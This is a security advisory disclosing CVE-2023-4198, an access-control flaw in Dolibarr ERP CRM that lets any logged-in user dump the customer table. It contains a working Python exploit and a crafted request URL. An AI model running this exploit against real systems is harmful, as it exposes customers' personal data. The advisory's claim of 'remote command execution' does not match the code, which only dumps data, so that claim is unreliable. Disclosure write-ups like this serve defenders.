Summary:

Product Dolibarr ERP CRM
Vendor Dolibarr
Severity High
Affected Versions <= 17.0.3
Tested Versions 17.0.1, 17.0.3
CVE Identifier CVE-2023-4198
CVE Description Improper Access Control in Dolibarr ERP CRM v17.0.3 allows unauthorized users to read a database table containing sensitive third-party customers’ information via the ajaxcompanies.php endpoint.
CWE Classification(s) CWE-862 Missing Authorization
CAPEC Classification(s) CAPEC-1 Accessing Functionality Not Properly Constrained by ACLs

CVSS3.1 Scoring System:

Base Score: 6.5 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) Low
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) None
Availability (A) None

Product Overview:

Dolibarr ERP CRM is a web-based software that provides management for the target organization’s activities, such as contacts, suppliers, invoices, orders, stocks, agenda, etc. It is an open-source software suite designed for small, medium or large companies, foundations and freelancers. Administrators can use the fine grained permissions manager to grant permissions to various users based on their operational requirements.

Dolibarr ERP CRM operates as an all-in-one suite, which allows customizability based on the usage needs of the organization. It is highly modular as the administrators simply have to enable modules that they need and disable the ones they do not require. Almost every component is a module, which also means that Dolibarr ERP CRM is highly extensible in terms of features.

Vulnerability Summary:

Authorization checks were found to be missing as any authenticated user is able to list the details of all third-party customers stored in the database table societe, despite not having the required permissions to do so. This table contains sensitive data such as the third-party customers’ address, ZIP and town name.

Vulnerability Details:

The vulnerability is found at the /core/ajax/ajaxcompanies.php endpoint. It can be observed that no authorisation checks are performed, even though the application has the option to configure access control for each AJAX endpoint. The affected code can be found below:

// /core/ajax/ajaxcompanies.php

$socid = $_GET['newcompany'] ? $_GET['newcompany'] : '';
// ...
$sql .= "s.nom LIKE '%".$db->escape($socid)."%'";
$sql .= " OR s.code_client LIKE '%".$db->escape($socid)."%'";
$sql .= " OR s.code_fournisseur LIKE '%".$db->escape($socid)."%'";

Additionally, since the SQL query is formed by concatenating user-input in the LIKE clause, listing every row can be done by injecting % as the input. In order to exploit the vulnerability, the adversary must first be authenticated with any account. Then, access the vulnerable page by sending a GET request to:

http://TARGET_SERVER/core/ajax/ajaxcompanies.php?newcompany=%

Exploit Conditions:

This vulnerability can be exploited by having access to a low-privilege user account.

Proof-of-Concept:

We have tried our best to make the PoC as portable as possible. The following is a functional exploit written in Python3 that exploits this vulnerability to achieve remote command execution:

# Dolibarr ERP CRM (<= v17.0.3) Improper Access Control Vulnerability (CVE-2023-4198)
# Via: https://TARGET_HOST/core/ajax/ajaxcompanies.php
# Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import json
import re
import requests
import sys
requests.packages.urllib3.disable_warnings()

s = requests.Session()

def check_args():
    global target, username, password, cmd

    print("\n===== Dolibarr ERP CRM (<= v17.0.3) Improper Access Control Vulnerability (CVE-2023-4198) =====\n")

    if len(sys.argv) != 4:
        print("[!] Please enter the required arguments like so: python3 {} https://TARGET_URL USERNAME PASSWORD".format(sys.argv[0]))
        sys.exit(1)

    target = sys.argv[1].strip("/")
    username = sys.argv[2]
    password = sys.argv[3]

def authenticate():
    global s, csrf_token

    print("[+] Attempting to authenticate...")

    # GET the CSRF token
    res = s.get(f"{target}/", verify=False)
    csrf_token = re.search("\"anti-csrf-newtoken\" content=\"(.+)\"", res.text).group(1).strip()

    # Login
    data = {
        "token": csrf_token,
        "username": username,
        "password": password,
        "actionlogin": "login"
    }
    res = s.post(f"{target}/", data=data, verify=False)

    if "Logout" not in res.text:
        print("[!] Authentication failed! Are the credentials valid?")
        sys.exit(1)
    else:
        print("[+] Authenticated successfully!")

def dump_table():
    # Dump the third-party customers table
    print("[+] Dumping third-party customers table (societe)...")
    res = s.get(f"{target}/core/ajax/ajaxcompanies.php?newcompany=%", verify=False, proxies={'http':'127.0.0.1:8080'})
    if res.status_code != 200:
        print("[!] Endpoint unreachable! Is the URL correct?")
        sys.exit(1)
    else:
        output = json.loads(res.text)
        print(f"[+] Output of societe table:\n\n{output}")

def main():
    check_args()
    authenticate()
    dump_table()

if __name__ == "__main__":
    main()

Suggested Mitigations:

Update the Dolibarr installation to the latest version as shown from the official repository releases page.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by checking the server’s access logs to see if there were any requests made to /core/ajax/ajaxcompanies.php, and inspecting the value of the newcompany parameter of these requests.

Credits:

Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline:

  • 2023-09-04 Reported vulnerability to Dolibarr owner
  • 2023-09-05 Dolibarr owner mentioned that the endpoint has been removed since v18.0.0
  • 2023-11-01 Public Release